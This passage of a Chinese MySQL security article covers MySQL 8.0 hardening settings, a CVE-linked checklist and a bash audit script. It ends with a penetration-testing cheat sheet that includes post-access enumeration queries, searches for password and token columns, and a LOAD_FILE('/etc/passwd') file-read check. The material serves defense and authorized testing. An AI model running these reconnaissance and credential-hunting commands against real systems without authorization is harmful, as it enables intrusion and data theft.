- 影响版本:MySQL 8.0.39及之前,8.4.x
- 漏洞描述:易于利用的漏洞,可导致MySQL Server挂起或崩溃
- 防御:升级到MySQL 8.0.40+或8.4.3+
八、MySQL 8.0+ 安全新特性
MySQL 8.0 引入了大量安全增强功能,了解并正确使用这些特性是加固现代MySQL部署的关键。
8.1 认证增强
caching_sha2_password 成为默认认证插件:
MySQL 8.0 将默认认证插件从 mysql_native_password 更换为 caching_sha2_password,提供更强的密码哈希安全性。
-- 查看当前默认认证插件
SHOW VARIABLES LIKE 'default_authentication_plugin';
-- 查看各用户使用的认证插件
SELECT user, host, plugin FROM mysql.user;
-- 如需兼容旧客户端,可为特定用户指定旧插件(不推荐)
ALTER USER 'legacy_app'@'%' IDENTIFIED WITH mysql_native_password BY 'password';
密码策略增强:
-- 安装密码验证组件(MySQL 8.0+)
INSTALL COMPONENT 'file://component_validate_password';
-- 配置密码策略
SET GLOBAL validate_password.policy = 'STRONG'; -- LOW / MEDIUM / STRONG
SET GLOBAL validate_password.length = 12; -- 最小长度
SET GLOBAL validate_password.mixed_case_count = 1; -- 至少1个大写+1个小写
SET GLOBAL validate_password.number_count = 1; -- 至少1个数字
SET GLOBAL validate_password.special_char_count = 1; -- 至少1个特殊字符
-- 密码过期策略
SET GLOBAL default_password_lifetime = 90; -- 90天后过期
ALTER USER 'app_user'@'%' PASSWORD EXPIRE INTERVAL 180 DAY;
-- 密码历史与重用限制(防止用户反复使用旧密码)
SET GLOBAL password_history = 5; -- 记住最近5个密码
SET GLOBAL password_reuse_interval = 365; -- 365天内不能重用
-- 双密码支持(平滑密码轮换,不中断服务)
ALTER USER 'app_user'@'%' IDENTIFIED BY 'new_password' RETAIN CURRENT PASSWORD;
-- 确认所有客户端切换到新密码后:
ALTER USER 'app_user'@'%' DISCARD OLD PASSWORD;
8.2 权限增强
角色(Roles)系统:
-- 创建角色
CREATE ROLE 'app_read', 'app_write', 'app_admin';
-- 为角色分配权限
GRANT SELECT ON mydb.* TO 'app_read';
GRANT INSERT, UPDATE, DELETE ON mydb.* TO 'app_write';
GRANT ALL PRIVILEGES ON mydb.* TO 'app_admin';
-- 将角色授予用户
GRANT 'app_read' TO 'readonly_user'@'%';
GRANT 'app_read', 'app_write' TO 'app_user'@'%';
-- 设置默认角色
SET DEFAULT ROLE 'app_read' TO 'readonly_user'@'%';
-- 查看角色授权
SHOW GRANTS FOR 'app_read';
动态权限与部分撤销:
-- MySQL 8.0 新增的动态权限(更细粒度)
GRANT CONNECTION_ADMIN ON *.* TO 'dba'@'%'; -- 连接管理权限
GRANT BACKUP_ADMIN ON *.* TO 'backup'@'%'; -- 备份管理权限
GRANT AUDIT_ADMIN ON *.* TO 'auditor'@'%'; -- 审计管理权限
-- 部分撤销:全局权限的例外(需要启用 partial_revokes)
SET GLOBAL partial_revokes = ON;
GRANT SELECT ON *.* TO 'analyst'@'%';
REVOKE SELECT ON mysql.* FROM 'analyst'@'%'; -- 排除mysql系统库
8.3 连接安全
连接控制插件(防暴力破解):
-- 安装连接控制插件
INSTALL PLUGIN CONNECTION_CONTROL SONAME 'connection_control.so';
INSTALL PLUGIN CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS SONAME 'connection_control.so';
-- 配置:连续失败3次后开始延迟,最大延迟10秒
SET GLOBAL connection_control_failed_connections_threshold = 3;
SET GLOBAL connection_control_min_connection_delay = 1000; -- 1秒
SET GLOBAL connection_control_max_connection_delay = 10000; -- 10秒
-- 查看失败登录统计
SELECT * FROM information_schema.CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS;
强制加密连接:
-- 要求所有连接必须使用SSL/TLS
SET GLOBAL require_secure_transport = ON;
-- 或针对特定用户
ALTER USER 'app_user'@'%' REQUIRE SSL;
ALTER USER 'sensitive_user'@'%' REQUIRE X509; -- 要求客户端证书
# my.cnf 配置 TLS
[mysqld]
require_secure_transport = ON
ssl-ca = /etc/mysql/ssl/ca.pem
ssl-cert = /etc/mysql/ssl/server-cert.pem
ssl-key = /etc/mysql/ssl/server-key.pem
tls_version = TLSv1.2,TLSv1.3
8.4 审计增强
-- MySQL Enterprise Audit(商业版)提供完整审计能力
-- 开源替代方案:Percona Audit Plugin 或 MariaDB Audit Plugin
-- MySQL 8.0 组件架构的审计日志
INSTALL COMPONENT 'file://component_audit_api_message_emit';
-- 查看审计日志状态
SHOW VARIABLES LIKE 'audit_log%';
8.5 MySQL 8.0 安全配置推荐
# my.cnf — MySQL 8.0+ 安全配置推荐
[mysqld]
# 认证
default_authentication_plugin = caching_sha2_password
default_password_lifetime = 90
password_history = 5
password_reuse_interval = 365
# 连接安全
require_secure_transport = ON
tls_version = TLSv1.2,TLSv1.3
# 权限
partial_revokes = ON
# 文件安全
secure_file_priv = NULL
local_infile = OFF
# 网络
bind-address = 127.0.0.1
mysqlx-bind-address = 127.0.0.1 # 别忘了X Protocol端口
九、MySQL安全加固检查清单
| 检查项 | 操作建议 | 优先级 | 相关CVE |
|---|---|---|---|
| secure_file_priv | 设置为 NULL 或指定安全目录 |
高 | CVE-2016-6662 |
| root远程登录 | 禁止,仅允许 localhost | 高 | - |
| 匿名用户 | 全部删除 | 高 | - |
| 密码策略 | 启用 validate_password 组件,最小长度12位 |
高 | CVE-2012-2122 |
| FILE权限 | 应用账号禁止授予 | 高 | CVE-2016-6662 |
| SUPER权限 | 应用账号禁止授予 | 高 | - |
| 端口暴露 | 仅限内网访问,bind-address=127.0.0.1 |
高 | CVE-2012-2122 |
| 服务运行权限 | 以低权限用户(如mysql)运行,禁止root/SYSTEM | 高 | CVE-2016-6664 |
| 版本更新 | 保持最新稳定版本,及时修补已知漏洞 | 高 | 所有CVE |
| 配置文件权限 | my.cnf设为644,仅root可写 | 高 | CVE-2016-6662 |
| 数据目录权限 | 设为700,禁用符号链接 | 高 | CVE-2016-6663 |
| 日志目录权限 | 严格控制,防止符号链接攻击 | 高 | CVE-2016-6664 |
| 认证插件 | MySQL 8.0+ 使用 caching_sha2_password |
高 | - |
| 连接控制 | 安装 connection_control 插件防暴力破解 |
高 | - |
| general_log | 生产环境关闭,防止被利用写入WebShell | 中 | CVE-2016-6662 |
| slow_query_log | 生产环境谨慎开启,防止日志投毒 | 中 | - |
| local-infile | 设置为0,防止恶意服务端读取文件 | 中 | - |
| plugin_dir | 目录权限仅MySQL可读,禁止写入 | 中 | - |
| mysql.func | 定期审计,检查异常UDF | 中 | - |
| event_scheduler | 生产环境按需开启,定期审计事件 | 中 | - |
| 触发器审计 | 定期检查 information_schema.TRIGGERS |
中 | - |
| 存储过程审计 | 定期检查 information_schema.ROUTINES |
中 | - |
| 视图审计 | 检查视图的 SECURITY_TYPE 和 DEFINER,防止权限绕过 |
中 | - |
| 从库只读 | 设置 read_only=1 和 super_read_only=1 |
中 | - |
| 查询超时 | 设置 max_execution_time 防止DoS |
中 | CVE-2024-21201 |
| 连接限制 | 配置 max_connections 和 max_user_connections |
中 | - |
| 备份安全 | 备份文件加密存储,脱机保存 | 中 | - |
| SSL/TLS | 强制客户端加密连接,require_secure_transport=ON |
中 | - |
| 字符集 | 统一使用 utf8mb4,防止宽字节注入 |
中 | - |
| 密码过期 | 设置 default_password_lifetime |
中 | - |
| 角色管理 | 使用角色统一管理权限,避免逐用户授权 | 中 | - |
| X Protocol端口 | mysqlx-bind-address=127.0.0.1,限制33060端口 |
中 | - |
| 错误信息 | 不要向前端暴露详细的数据库错误 | 低 | - |
| PROCESSLIST | 限制普通用户查看进程列表 | 低 | - |
十、快速安全加固脚本
#!/bin/bash
# MySQL安全加固脚本
# 使用方式: bash mysql_hardening.sh
# 注意:需要以MySQL root身份执行,脚本会提示输入密码
MYSQL_CMD="mysql -u root -p"
echo "============================================"
echo "[+] MySQL安全加固开始..."
echo "============================================"
# ========================
# 1. 用户与认证安全
# ========================
echo ""
echo "[*] === 用户与认证安全 ==="
echo "[*] 检查并删除匿名用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE User='';"
$MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='';"
echo "[*] 禁止root远程登录:"
$MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');"
echo "[*] 删除test数据库:"
$MYSQL_CMD -e "DROP DATABASE IF EXISTS test;"
echo "[*] 检查空密码账号:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE authentication_string='';"
echo "[*] 检查密码策略配置:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'validate_password%';"
# ========================
# 2. 权限审计
# ========================
echo ""
echo "[*] === 权限审计 ==="
echo "[*] 检查拥有FILE权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE File_priv='Y';"
echo "[*] 检查拥有SUPER权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Super_priv='Y';"
echo "[*] 检查拥有GRANT权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Grant_priv='Y';"
echo "[*] 检查拥有SHUTDOWN权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y';"
# ========================
# 3. 关键配置检查
# ========================
echo ""
echo "[*] === 关键配置检查 ==="
echo "[*] 检查 secure_file_priv:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'secure_file_priv';"
echo "[*] 检查 local_infile:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'local_infile';"
echo "[*] 检查 bind-address:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'bind_address';"
echo "[*] 检查 SSL/TLS 配置:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE '%ssl%';"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'require_secure_transport';"
echo "[*] 检查 general_log 状态:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'general_log%';"
echo "[*] 检查 slow_query_log 状态:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'slow_query_log%';"
# ========================
# 4. 后门与异常检查
# ========================
echo ""
echo "[*] === 后门与异常检查 ==="
echo "[*] 检查自定义函数(UDF):"
$MYSQL_CMD -e "SELECT * FROM mysql.func;"
echo "[*] 检查所有触发器:"
$MYSQL_CMD -e "SELECT TRIGGER_SCHEMA, TRIGGER_NAME, EVENT_MANIPULATION, EVENT_OBJECT_TABLE FROM information_schema.TRIGGERS;"
echo "[*] 检查定时事件:"
$MYSQL_CMD -e "SELECT EVENT_SCHEMA, EVENT_NAME, STATUS FROM information_schema.EVENTS;"
echo "[*] 检查存储过程:"
$MYSQL_CMD -e "SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';"
echo "[*] 检查DEFINER视图:"
$MYSQL_CMD -e "SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE FROM information_schema.VIEWS WHERE SECURITY_TYPE='DEFINER';"
# ========================
# 5. 刷新权限
# ========================
echo ""
$MYSQL_CMD -e "FLUSH PRIVILEGES;"
echo "============================================"
echo "[+] 安全加固检查完成!"
echo "============================================"
echo ""
echo "[!] 请手动检查 my.cnf 配置文件,确保以下参数正确设置:"
echo " - secure_file_priv = NULL"
echo " - local-infile = 0"
echo " - bind-address = 127.0.0.1"
echo " - require_secure_transport = ON"
echo " - default_authentication_plugin = caching_sha2_password"
echo " - max_connections = 100"
echo " - max_execution_time = 30000"
echo " - default_password_lifetime = 90"
echo " - character-set-server = utf8mb4"
十一、渗透测试速查清单
以下命令可作为获取 MySQL 访问权限后的标准操作流程,各攻击手法的详细原理参见前文对应章节。
11.1 信息收集
-- 基础信息(版本 / 用户 / 权限 / 路径)
SELECT VERSION(), USER(), CURRENT_USER();
SHOW GRANTS;
SELECT @@hostname, @@datadir, @@plugin_dir, @@basedir;
SELECT @@secure_file_priv, @@version_compile_os, @@version_compile_machine;
-- 配置信息
SHOW VARIABLES LIKE '%log%';
SHOW VARIABLES LIKE '%dir%';
SHOW VARIABLES LIKE 'local_infile';
SHOW VARIABLES LIKE '%ssl%';
11.2 权限与用户评估
SELECT user, host, plugin FROM mysql.user;
SELECT user, host FROM mysql.user WHERE File_priv='Y'; -- FILE 权限
SELECT user, host FROM mysql.user WHERE Super_priv='Y'; -- SUPER 权限
SELECT user, host FROM mysql.user WHERE Grant_priv='Y'; -- GRANT 权限
SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y'; -- SHUTDOWN 权限
SELECT user, host FROM mysql.user WHERE authentication_string=''; -- 空密码
11.3 数据枚举
-- 敏感表查找
SELECT table_schema, table_name FROM information_schema.tables
WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%'
OR table_name LIKE '%password%' OR table_name LIKE '%config%'
OR table_name LIKE '%credential%' OR table_name LIKE '%secret%';
-- 查找包含敏感列的表
SELECT table_schema, table_name, column_name FROM information_schema.columns
WHERE column_name LIKE '%password%' OR column_name LIKE '%pwd%'
OR column_name LIKE '%pass%' OR column_name LIKE '%secret%'
OR column_name LIKE '%token%' OR column_name LIKE '%key%';
11.4 提权可能性评估
| 检查项 | 命令 | 详见章节 |
|---|---|---|
| UDF提权 | SELECT * FROM mysql.func; SHOW VARIABLES LIKE 'plugin_dir'; |
第二章 |
| 文件读写 | SELECT LOAD_FILE('/etc/passwd'); |
第四章 |
| 日志写入WebShell | SHOW VARIABLES LIKE 'general_log%'; |
第四章4.3节 |
| SUID提权 | find / -perm -4000 -type f 2>/dev/null \| grep mysql |
第七章7.3节 |
11.5 后门检测
-- 触发器、存储过程、事件、视图(参见 7.5-7.7, 7.12 节)
SELECT TRIGGER_SCHEMA, TRIGGER_NAME, ACTION_STATEMENT FROM information_schema.TRIGGERS;
SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_DEFINITION FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';
SELECT EVENT_SCHEMA, EVENT_NAME, EVENT_DEFINITION, STATUS FROM information_schema.EVENTS;
SELECT TABLE_SCHEMA, TABLE_NAME, VIEW_DEFINITION, SECURITY_TYPE FROM information_schema.VIEWS;
11.6 渗透测试报告模板
# MySQL安全评估报告
## 1. 目标信息
- 服务器地址:xxx.xxx.xxx.xxx
- MySQL版本:x.x.x
- 操作系统:Linux/Windows
## 2. 发现的漏洞
### 高危漏洞
- [ ] 存在空密码账号
- [ ] root账号允许远程登录
- [ ] 存在SQL注入漏洞
- [ ] FILE权限配置不当,可读写任意文件
- [ ] 存在已知CVE漏洞(CVE-xxxx-xxxx)
- [ ] 可通过UDF提权
### 中危漏洞
- [ ] 弱密码账号
- [ ] 权限配置过大
- [ ] 未启用SSL加密
- [ ] 日志配置不当
- [ ] 存在可疑的触发器/存储过程
- [ ] 使用DEFINER视图暴露敏感数据
### 低危漏洞
- [ ] 版本信息泄露
- [ ] 配置信息泄露
- [ ] 未启用连接控制插件
## 3. 修复建议
(根据发现的漏洞提供具体修复方案)
十二、总结
MySQL的攻击面非常广泛,本文涵盖了以下主要攻击向量:
1. 注入类攻击
- SQL注入(联合查询、报错、布尔盲注、时间盲注、堆叠注入)
- 预处理语句绕过WAF
- 宽字节注入(字符集转换绕过)
- 注释绕过
2. 提权类攻击
- UDF提权(自定义函数执行系统命令)
- MOF提权(⚠️ 历史遗留,仅 Windows 2000/XP/2003)
- SUID提权(利用特殊权限位)
3. 文件操作类攻击
- 任意文件读取(LOAD_FILE)
- 任意文件写入(INTO OUTFILE/DUMPFILE)
- 日志投毒(general_log、slow_query_log)
4. 认证与授权类攻击
- 弱口令爆破
- 并发条件竞争绕过(CVE-2012-2122)
- 视图DEFINER提权
- 配置文件注入(CVE-2016-6662)
5. 持久化类攻击
- 触发器后门(Trigger Backdoor)
- 存储过程后门(Stored Procedure)
- 事件调度器后门(Event Scheduler)
6. 信息泄露类攻击
- 版本信息泄露
- 用户信息泄露
- 配置信息泄露
- 进程列表泄露
7. 网络类攻击
- UNC路径触发NTLM认证(Windows)
- 恶意MySQL服务端读取客户端文件(Fake MySQL Server)
- DNS外带数据
- MySQL Proxy中间人攻击
8. 拒绝服务类攻击
- ReDoS(正则表达式DoS)
- 笛卡尔积资源耗尽
- 递归查询栈溢出
9. 主从复制类攻击
- 从库劫持
- 复制链路窃听
10. 历史重大CVE漏洞
- CVE-2012-2122(认证绕过)
- CVE-2016-6662(配置文件注入RCE)
- CVE-2016-6663(条件竞争提权)
- CVE-2016-6664(错误日志提权到root)
- CVE-2023-21980(Client程序漏洞)
- CVE-2024-21201(Optimizer DoS)
防御建议总结
网络层防护:
- 禁止MySQL端口暴露在公网
- 使用防火墙限制访问来源
- 启用SSL/TLS加密传输,设置
require_secure_transport=ON - 修改默认端口3306
- 同时限制X Protocol端口33060
认证层防护:
- 删除匿名用户和test数据库
- 禁止root远程登录
- 启用强密码策略(validate_password组件)
- 使用
caching_sha2_password认证插件 - 安装
connection_control插件防暴力破解 - 配置密码过期和历史策略
权限层防护:
- 遵循最小权限原则
- 应用账号禁止授予FILE、SUPER等高危权限
- 使用角色(Roles)统一管理权限
- 定期审计用户权限
- 及时删除不再使用的账号
文件系统层防护:
- 设置
secure_file_priv = NULL禁止文件操作 - 插件目录权限设为仅MySQL可读
- MySQL服务以低权限用户运行
- 关闭生产环境的general_log
应用层防护:
- 所有SQL查询使用预编译语句/参数化查询
- 统一使用UTF-8编码,防止宽字节注入
- 输入进行白名单验证
- 错误信息不要暴露给前端
- 使用WAF作为辅助防御
监控与审计:
- 定期审计UDF、触发器、存储过程、事件、视图
- 监控异常登录和查询行为
- 启用审计日志记录敏感操作
- 定期检查配置文件是否被篡改
版本管理:
- 保持MySQL在最新稳定版本
- 及时修补已知安全漏洞
- 关注MySQL官方安全公告(Oracle Critical Patch Updates)
安全加固需要从网络层、认证层、权限层、文件系统层、应用层等多个维度进行纵深防御。没有绝对的安全,只有持续的监控和不断的改进。
参考资源
- MySQL官方安全指南
- OWASP SQL注入防护备忘单
- CVE-2012-2122 MySQL认证绕过漏洞
- CVE-2016-6662 MySQL配置文件注入漏洞
- CVE-2016-6663/6664 MySQL权限提升漏洞
- MySQL UDF提权技术详解
- Percona MySQL审计插件
- Oracle MySQL Critical Patch Updates
免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。使用本文内容造成的任何后果,作者不承担任何责任。